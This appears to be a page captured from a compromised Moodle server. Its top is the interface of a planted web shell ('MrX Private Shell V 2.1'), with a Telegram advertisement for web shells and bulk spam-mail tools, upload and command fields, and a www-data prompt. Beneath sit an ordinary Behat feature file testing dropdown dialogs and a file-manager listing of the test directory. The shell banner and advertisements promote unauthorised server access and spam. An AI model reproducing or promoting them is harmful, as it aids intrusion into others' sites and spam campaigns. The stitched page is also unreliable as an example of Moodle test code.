__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @javascript
Feature: Test dropdown output module
  In order to show extra information to the user
  As a user
  I need to interact with the dropdown output modules

  Background:
    # Get to the fixture page.
    Given I log in as "admin"
    And I am on fixture page "/lib/tests/behat/fixtures/dropdown_output_testpage.php"
    And I should not see "Dialog content"

  Scenario: User can open a dropdown dialog
    When I click on "Open dialog" "button" in the "regularscenario" "region"
    Then I should see "Dialog content" in the "regularscenario" "region"

  Scenario: Dropdown dialog can have rich content inside
    When I click on "Open dialog" "button" in the "richcontent" "region"
    Then I should see "Some rich content" in the "richcontent" "region"
    And "Link 1" "link" should exist in the "richcontent" "region"
    And "Eye icon" "icon" should exist in the "richbutton" "region"

  Scenario: HTML attributtes can be overriden in dropdowns
    When I click on "Open dialog" "button" in the "cssoverride" "region"
    Then I should see "Dialog content" in the "cssoverride" "region"
    And ".extraclass" "css_element" should exist in the "cssoverride" "region"
    And "[data-foo='bar']" "css_element" should exist in the "extraattributes" "region"
    And I should see "Custom ID button found" in the "customid" "region"
    And "#CustomDropdownButtonId" "css_element" should exist in the "customid" "region"
    And ".dialog-big" "css_element" should exist in the "widths" "region"
    And ".dialog-small" "css_element" should exist in the "widths" "region"

  Scenario: User can open a dropdown status
    When I click on "Open dialog" "button" in the "statusregularscenario" "region"
    Then I should see "Option 1" in the "statusregularscenario" "region"
    And I should see "Option 1 description" in the "statusregularscenario" "region"
    And I should see "Option 2" in the "statusregularscenario" "region"
    And I should see "Option 2 description" in the "statusregularscenario" "region"
    And "Eye icon 1" "icon" should exist in the "statusregularscenario" "region"
    And "Eye icon 2" "icon" should exist in the "statusregularscenario" "region"

  Scenario: Dropdown status can have as selected option
    When I click on "Open dialog" "button" in the "statusselectedscenario" "region"
    Then "Selected" "icon" in the "#statusselectedscenario [data-optionnumber='2']" "css_element" should be visible
    And "Selected" "icon" in the "#statusselectedscenario [data-optionnumber='1']" "css_element" should not be visible
    And "Selected" "icon" in the "#statusselectedscenario [data-optionnumber='3']" "css_element" should not be visible

  Scenario: Dropdown status can have a disabled option
    When I click on "Open dialog" "button" in the "statusdisablescenario" "region"
    Then ".disabled" "css_element" should exist in the "#statusdisablescenario [data-optionnumber='2']" "css_element"
    And ".disabled" "css_element" should not exist in the "#statusdisablescenario [data-optionnumber='1']" "css_element"
    And ".disabled" "css_element" should not exist in the "#statusdisablescenario [data-optionnumber='3']" "css_element"

  Scenario: Dropdown status can have a extra attribute in the options
    When I click on "Open dialog" "button" in the "statusoptionextrasscenario" "region"
    Then "[data-foo='bar']" "css_element" should exist in the "#statusoptionextrasscenario [data-optionnumber='2']" "css_element"
    And "[data-foo='bar']" "css_element" should not exist in the "#statusoptionextrasscenario [data-optionnumber='1']" "css_element"
    And "[data-foo='bar']" "css_element" should not exist in the "#statusoptionextrasscenario [data-optionnumber='3']" "css_element"

  Scenario: Dropdown status can define urls in options
    Given I should see "Foo param value: none"
    When I click on "Open dialog" "button" in the "statusoptionurl" "region"
    And I click on "Option 2" "link" in the "statusoptionurl" "region"
    Then I should see "Foo param value: bar"

  Scenario: Dropdowns dialogs can be controlled via javascript
    Given "Open dialog" "button" should exist in the "dialogjscontrolssection" "region"
    And I should see "The dropdown is hidden" in the "dialogjscontrolssection" "region"
    # Change button text.
    When I click on "Change button text" "button" in the "dialogjscontrolssection" "region"
    Then "New button text" "button" should exist in the "dialogjscontrolssection" "region"
    # Open dropdown.
    And I click on "Open" "button" in the "dialogjscontrolssection" "region"
    And I should see "Dialog content" in the "dialogjscontrolssection" "region"
    And I should see "The dropdown is visible" in the "dialogjscontrolssection" "region"
    # Close dropdown.
    And I click on "Close" "button" in the "dialogjscontrolssection" "region"
    And I should not see "Dialog content" in the "dialogjscontrolssection" "region"
    And I should see "The dropdown is hidden" in the "dialogjscontrolssection" "region"

  Scenario: Dropdown status can sync the clicked option with the button text
    Given I should see "Option 2" in the "statussyncbutton" "region"
    When I click on "Option 2" "button" in the "statussyncbutton" "region"
    And "Selected" "icon" in the "#statussyncbutton [data-optionnumber='2']" "css_element" should be visible
    And "Selected" "icon" in the "#statussyncbutton [data-optionnumber='3']" "css_element" should not be visible
    And I click on "Option 3" "link" in the "statussyncbutton" "region"
    Then I should see "Option 3" in the "statussyncbutton" "region"
    And I should not see "Option 2" in the "statussyncbutton" "region"
    And I click on "Option 3" "button" in the "statussyncbutton" "region"
    And "Selected" "icon" in the "#statussyncbutton [data-optionnumber='2']" "css_element" should not be visible
    And "Selected" "icon" in the "#statussyncbutton [data-optionnumber='3']" "css_element" should be visible

  Scenario: Dropdowns status can be controlled via javascript
    Given "Open dialog" "button" should exist in the "statusjscontrolsection" "region"
    And I should see "The status value is option2" in the "statusjscontrolsection" "region"
    # Change value.
    When I click on "Change selected value" "button" in the "statusjscontrolsection" "region"
    Then I should see "The status value is option3" in the "statusjscontrolsection" "region"
    And I click on "Open dialog" "button" in the "statusjscontrolsection" "region"
    And "Selected" "icon" in the "#statusjscontrolsection [data-optionnumber='2']" "css_element" should not be visible
    And "Selected" "icon" in the "#statusjscontrolsection [data-optionnumber='3']" "css_element" should be visible
    # Enable button sync.
    And I click on "Enable sync" "button" in the "statusjscontrolsection" "region"
    And I should see "Option 3" in the "statusjscontrolsection" "region"
    And I click on "Option 3" "button" in the "statusjscontrolsection" "region"
    And I click on "Option 2" "link" in the "statusjscontrolsection" "region"
    And I should see "The status value is option2" in the "statusjscontrolsection" "region"
    And I should see "Option 2" in the "statusjscontrolsection" "region"
    # Trigger change event with button text sync.
    And I click on "Change selected value" "button" in the "statusjscontrolsection" "region"
    And I should see "Option 3" in the "statusjscontrolsection" "region"
    And I should see "The status value is option3" in the "statusjscontrolsection" "region"
    # Disable button text sync.
    And I click on "Disable sync" "button" in the "statusjscontrolsection" "region"
    And I click on "Option 3" "button" in the "statusjscontrolsection" "region"
    And I click on "Option 1" "link" in the "statusjscontrolsection" "region"
    And I should see "Option 3" in the "statusjscontrolsection" "region"
    And I should see "The status value is option1" in the "statusjscontrolsection" "region"
    And I click on "Change selected value" "button" in the "statusjscontrolsection" "region"
    And I should see "Option 3" in the "statusjscontrolsection" "region"
    And I should see "The status value is option2" in the "statusjscontrolsection" "region"
    # Disable update.
    And I click on "Disable update" "button" in the "statusjscontrolsection" "region"
    And I click on "Option 3" "button" in the "statusjscontrolsection" "region"
    And I click on "Option 1" "link" in the "statusjscontrolsection" "region"
    And I should see "The status value is option2" in the "statusjscontrolsection" "region"
    And I click on "Option 3" "button" in the "statusjscontrolsection" "region"
    And "Selected" "icon" in the "#statusjscontrolsection [data-optionnumber='1']" "css_element" should not be visible
    And "Selected" "icon" in the "#statusjscontrolsection [data-optionnumber='2']" "css_element" should be visible

  Scenario: Dropdown status content is accessible with keyboard
    Given I click on "Focus helper" "button" in the "statussyncbutton" "region"
    When I press the tab key
    # Open and close dropdown with enter key.
    Then I press the enter key
    And the focused element is "[data-for='dropdowndialog_button']" "css_element" in the "statussyncbutton" "region"
    And I should see "Option 1" in the "statussyncbutton" "region"
    And I press the enter key
    And the focused element is "[data-for='dropdowndialog_button']" "css_element" in the "statussyncbutton" "region"
    And I should not see "Option 1" in the "statussyncbutton" "region"
    # Open and close with down and up keys.
    And I press the down key
    And the focused element is "[data-optionnumber='1'] a" "css_element" in the "statussyncbutton" "region"
    And I should see "Option 1" in the "statussyncbutton" "region"
    And I press the up key
    And the focused element is "[data-for='dropdowndialog_button']" "css_element" in the "statussyncbutton" "region"
    And I should see "Option 1" in the "statussyncbutton" "region"
    And I press the up key
    And the focused element is "[data-for='dropdowndialog_button']" "css_element" in the "statussyncbutton" "region"
    And I should not see "Option 1" in the "statussyncbutton" "region"
    # Select to option 3 and check user cannot go beyond that.
    And I press the down key
    And the focused element is "[data-optionnumber='1'] a" "css_element" in the "statussyncbutton" "region"
    And I press the down key
    And the focused element is "[data-optionnumber='2'] a" "css_element" in the "statussyncbutton" "region"
    And I press the down key
    And the focused element is "[data-optionnumber='3'] a" "css_element" in the "statussyncbutton" "region"
    And I press the down key
    And the focused element is "[data-optionnumber='3'] a" "css_element" in the "statussyncbutton" "region"
    And I press the enter key
    And I should see "Option 3" in the "statussyncbutton" "region"
    # Close dropdown with escape key.
    And I press the down key
    And the focused element is "[data-optionnumber='1'] a" "css_element" in the "statussyncbutton" "region"
    And I should see "Option 1" in the "statussyncbutton" "region"
    And I press the escape key
    And the focused element is "[data-for='dropdowndialog_button']" "css_element" in the "statussyncbutton" "region"
    And I should not see "Option 1" in the "statussyncbutton" "region"

Filemanager

Name Type Size Permission Actions
fixtures Folder 0777
action_menu.feature File 1.11 KB 0777
action_menu_subpanel.feature File 14.23 KB 0777
action_modal.feature File 2.06 KB 0777
alpha_chooser.feature File 22.13 KB 0777
behat_accessibility.php File 7.8 KB 0777
behat_action_menu.php File 8.45 KB 0777
behat_data_generators.php File 10.55 KB 0777
behat_deprecated.php File 1.41 KB 0777
behat_download.php File 8.42 KB 0777
behat_filters.php File 2.95 KB 0777
behat_forms.php File 33.96 KB 0777
behat_general.php File 115.55 KB 0777
behat_hooks.php File 33.02 KB 0777
behat_moodlenet.php File 2.03 KB 0777
behat_navigation.php File 72.67 KB 0777
behat_permissions.php File 12.62 KB 0777
behat_transformations.php File 7.17 KB 0777
datetime_any.feature File 4.24 KB 0777
dropdown_output.feature File 11.15 KB 0777
enabledashboard.feature File 846 B 0777
expand_single_fieldset.feature File 697 B 0777
largeforms.feature File 2.67 KB 0777
locking.feature File 8.55 KB 0777
menu_navigation_single_activity.feature File 4.04 KB 0777
menu_navigation_topics.feature File 4.38 KB 0777
min_max_version.feature File 1018 B 0777
modal_focus.feature File 1.36 KB 0777
moodlenet_outbound.feature File 5.62 KB 0777
moodlenet_share_course.feature File 3.64 KB 0777
moodlenet_share_partial_course.feature File 5.45 KB 0777
permissionmanager.feature File 3.62 KB 0777
profile_pic_access.feature File 3.32 KB 0777
readonlyform.feature File 1.14 KB 0777
securelayout.feature File 1.96 KB 0777
showuseridentity.feature File 4.26 KB 0777
switch_editing_mode.feature File 2.67 KB 0777
timezone.feature File 431 B 0777
userfeedback.feature File 2.18 KB 0777
Filemanager